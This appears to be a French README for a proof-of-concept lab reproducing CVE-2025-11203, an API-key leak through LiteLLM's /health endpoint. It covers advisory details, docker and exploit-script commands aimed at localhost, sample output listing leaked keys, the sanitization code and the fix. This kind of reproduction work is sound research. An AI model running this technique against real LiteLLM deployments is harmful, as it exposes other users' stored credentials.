
Le code pour reproduire personnellement la vulnérabilité correspondante
LiteLLM (versions < 1.63.14) dans le traitement du paramètre
api_keysur l'endpoint/health, ne filtre pas correctement les informations sensibles, ce qui permet à un utilisateur authentifié d'obtenir les clés API stockées dans d'autres configurations de modèles. Le champapi_key, qui aurait dû être supprimé par la fonction_clean_endpoint_data(), est divulgué dans certains chemins de code.
| Field | Value |
|---|---|
| CVE | CVE-2025-11203 |
| ZDI ID | ZDI-25-929 (ZDI-CAN-26585) |
| CVSS v3.0 | 3.5 (LOW) — AV:N/AC:L/PR:L/UI:R/S:U/C:L/I:N/A:N |
| CWE | CWE-200 (Exposure of Sensitive Information to an Unauthorized Actor) |
| Affected | LiteLLM < 1.63.14 |
| Fixed | v1.63.14+ (_clean_endpoint_data() application complète) |
| Published | 2025-10-29 |
| Discovered by | David Fiser & Alfredo Oliveira — Trend Micro Security Research |
| Reported to vendor | 2025-03-25 |
| Links | ZDI-25-929 • NVD • GHSA-w4vf-cc4x-mpjq |
L'endpoint /health de LiteLLM est utilisé pour renvoyer l'état de santé de tous les modèles configurés. Normalement, la fonction _clean_endpoint_data() devrait supprimer les champs sensibles (tels que api_key, x-api-key, etc.) de la réponse de vérification de santé.
Cependant, avant la v1.63.14, cette fonction de nettoyage n'était pas exécutée ou était exécutée de manière incomplète dans certains chemins de code, ce qui entraînait le retour en clair des clés API de la configuration des modèles dans la réponse de vérification de santé.
| Endpoint | Méthode | Description |
|---|---|---|
/health | GET | Renvoie l'état de santé de tous les modèles |
/health/liveliness | GET | Vérification de l'activité |
/health/readiness | GET | Vérification de la disponibilité |
Un utilisateur authentifié peut obtenir via l'interface de vérification de santé :
# 1. 启动脆弱版 LiteLLM
docker compose up -d
# 2. 安装依赖
pip install -r requirements.txt
# 3. 运行利用脚本
python3 exploit/exploit.py --target http://localhost:4000 --key sk-litellm-master-key
# 4. 查看完整响应
python3 exploit/exploit.py --target http://localhost:4000 --key sk-litellm-master-key --verbose
# 5. (可选)验证修复版本
docker compose --profile fixed up -d
python3 exploit/exploit.py --target http://localhost:4001 --key sk-litellm-master-key --fixed
======================================================================
[VULNERABLE] CVE-2025-11203 — Health Endpoint API Key Leak
======================================================================
Target : http://localhost:4000
API Key : sk-litellm-master-key...
Endpoint : /health
[*] Step 1: Query /health (this may take ~60s while LiteLLM probes upstream models)...
HTTP 200 — OK
[*] Step 2: Scanning for leaked credentials...
[🔥] LEAKED CREDENTIALS FOUND: 3 item(s)!
Path : unhealthy_endpoints[0].api_key
Field : api_key
Value : sk-this-is-a-leaked-openai-key...cdef123456 (len=43)
Path : unhealthy_endpoints[1].api_key
Field : api_key
Value : sk-another-leaked-key-789012xy...-789012xyz (len=31)
Path : unhealthy_endpoints[2].api_key
Field : api_key
Value : sk-ant-anthropic-leaked-key-xx...-key-xxxxx (len=33)
Models checked: 3
Credentials leaked: 3
[🔥] VULNERABILITY CONFIRMED: API keys exposed via /health!
Note: Step 1 takes ~60s because LiteLLM probes each upstream model (fake keys cause each connection to time out). The leaked keys appear under
unhealthy_endpointssince the fake keys can't actually connect to OpenAI/Anthropic.
La version corrigée refuse la divulgation :
======================================================================
[FIXED] CVE-2025-11203 — Health Endpoint API Key Leak
======================================================================
No API keys found in response.
[+] Expected: keys sanitized by _clean_endpoint_data()
La vulnérabilité se situe dans la fonction _clean_endpoint_data() dans litellm/proxy/health_check.py, qui filtre les champs sensibles comme api_key via la liste ILLEGAL_DISPLAY_PARAMS :
ILLEGAL_DISPLAY_PARAMS = [
"messages",
"api_key",
"prompt",
"input",
"vertex_credentials",
"aws_access_key_id",
"aws_secret_access_key",
]
def _clean_endpoint_data(endpoint_data: dict, details: Optional[bool] = True):
return (
{k: v for k, v in endpoint_data.items() if k not in ILLEGAL_DISPLAY_PARAMS}
if details is not False
else {k: v for k, v in endpoint_data.items() if k in MINIMAL_DISPLAY_PARAMS}
)
Dans cette démonstration, "api_key" a été supprimé de ILLEGAL_DISPLAY_PARAMS via sed, ce qui fait que la réponse /health renvoie la configuration brute des modèles, simulant le contournement de cette fonction de nettoyage dans certains chemins de code.
CVE-2025-11203/
├── README.md # This file
├── docker-compose.yml # Vulnerable + fixed LiteLLM
├── litellm_config.yaml # Config with 3 models + API keys
├── requirements.txt # Python dependencies
├── litellm-vuln/
│ └── Dockerfile # pip install "litellm[proxy]==1.61.0" + patch
├── exploit/
│ └── exploit.py # Main exploit script
├── docs/
│ └── advisory.md
└── screenshots/
Corrigé dans la v1.63.14, garantissant que _clean_endpoint_data() est correctement appelée dans tous les chemins de code de vérification de santé.
/healthDisclaimer: This content is provided for educational purposes and authorized security testing only.